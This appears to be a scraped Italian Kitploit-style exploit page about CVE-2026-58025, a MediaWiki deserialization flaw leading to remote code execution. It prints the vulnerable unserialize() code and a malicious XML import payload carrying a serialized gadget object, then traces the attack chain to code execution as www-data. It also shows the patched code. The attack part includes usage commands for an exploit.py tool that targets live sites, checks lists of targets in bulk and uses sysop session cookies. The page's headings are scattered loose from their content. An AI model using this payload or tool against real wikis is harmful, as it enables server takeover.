CVE-2026-58025 — CVE-2026-58025 — RCE di deserializzazione MediaWiki tramite importazione di voci di log. LogEntryBase::extractParams() unserialize() log_params controllati dall'utente. CVSS 9.8 | CWE-502 | MediaWiki < 1.43.9, < 1.44.6, < 1.45.4, < 1.46.0 | Kitploit

unserialize()

importupload

import

sysop

<params>

// includes/Logging/LogEntryBase.php (BEFORE fix)
public static function extractParams( $blob ) {
    return unserialize( $blob );  // ← user-controlled, no allowed_classes restriction
}

File	Riga	Contesto
`includes/Logging/DatabaseLogEntry.php`	187	`getParameters()` — lettura delle voci di log dal database
`includes/RecentChanges/RecentChange.php`	781	`parseParams()` — parsing delle modifiche recenti
`includes/Import/WikiRevision.php`	638	`importLogItem()` — importazione delle voci di log da XML
`maintenance/purgeChangedFiles.php`	182	Parsing dei log dello script di manutenzione
`tests/phpunit/maintenance/DumpAsserter.php`	541	Helper di test

POST /wiki/Special:Import
  Content-Type: multipart/form-data
  action=submit
  xmlimportfile=<malicious.xml>
  source=file
  catname=
  prefix=
  loginComment=

malicious.xml:
  <mediawiki ...>
    <logitem>
      <type>test</type>
      <action>test</action>
      <params>a:1:{s:3:"foo";O:8:"GadgetClass":N:{...}}</params>
    </logitem>
  </mediawiki>

→ WikiImporter::handleLogItem()
→ WikiImporter::processLogItem()
→ WikiRevision::importLogItem() → stores to DB
→ Later: DatabaseLogEntry::getParameters()
→ LogEntryBase::extractParams( $blob ) → unserialize( $blob )
→ PHP instantiates GadgetClass object → __wakeup() / __destruct() gadget chain
→ RCE as www-data

// includes/Logging/LogEntryBase.php (AFTER fix)
public static function extractParams( $blob, ?string $logType = null ) {
    $attribute = ExtensionRegistry::getInstance()->getAttribute( 'LogParamsAllowedClasses' );
    if ( $logType && array_key_exists( $logType, $attribute ) && is_array( $attribute[$logType] ) ) {
        $allowedClasses = $attribute[$logType];
    } else {
        $allowedClasses = false;  // no classes allowed
    }
    $result = @unserialize( $blob, [ 'allowed_classes' => $allowedClasses ] );
    if ( $result !== false && !is_array( $result ) ) {
        return false;
    }
    return $result;
}

public static function containsUnsafeParams( array $params ): bool {
    $result = false;
    $params = [ $params ];
    array_walk_recursive( $params, static function ( $val ) use ( &$result ) {
        if ( $val instanceof \__PHP_Incomplete_Class ) {
            $result = true;
        }
    } );
    return $result;
}

private function processLogItem( $logInfo ) {
    if ( !$this->performer->authorizeAction( 'logentryimport' ) ) {
        $this->notice( 'permissionserrorstext-withaction-noreason', ... );
        return false;
    }
    // ...
}

if ( LogEntryBase::containsUnsafeParams(
    LogEntryBase::extractParams( $this->params, "{$this->type}/{$this->action}" ),
) ) {
    wfDebug( __METHOD__ . ": skipping {$this->type}/{$this->action} with unsafe params" );
    return false;
}

# Generate malicious XML payload
python exploit.py --generate --output payload.xml

# Fingerprint target
python exploit.py -u https://target.com --check

# Full exploit (requires valid session cookies for sysop user)
python exploit.py -u https://target.com -c "session_cookies_here"

# Generate malicious XML import file
python exploit.py --generate --output payload.xml

# Fingerprint MediaWiki version
python exploit.py -u https://target.com --check

# Upload malicious XML via Special:Import (requires sysop session)
python exploit.py -u https://target.com -c "wiki_session=abc123; wikiUserID=1; wikiUserName=admin"

# Bulk check
python exploit.py -f targets.txt --check -o results.txt

CVE-2026-58025

Più Popolari

Versioni interessate

Meccanismo della vulnerabilità

Causa principale

Vettore d'attacco

Flusso dell'attacco

Formato del payload serializzato

La correzione

1. `unserialize()` limitato con `allowed_classes`

2. Nuovo controllo `containsUnsafeParams()`

3. Gate di importazione — `WikiImporter::processLogItem()`

4. `WikiRevision::importLogItem()` — rifiuto dei parametri non sicuri

5. `UnsafeLogFormatter` — visualizzazione sicura delle voci dannose esistenti

6. Correzione correlata: CVE-2026-58037

PoC

Installazione

Utilizzo

FOFA / Shodan

Riferimenti

Dichiarazione di non responsabilità

Ramo di versione	Vulnerabile	Corretta
1.43.x	< 1.43.9	1.43.9
1.44.x	< 1.44.6	1.44.6
1.45.x	< 1.45.4	1.45.4
1.46.x	< 1.46.0	1.46.0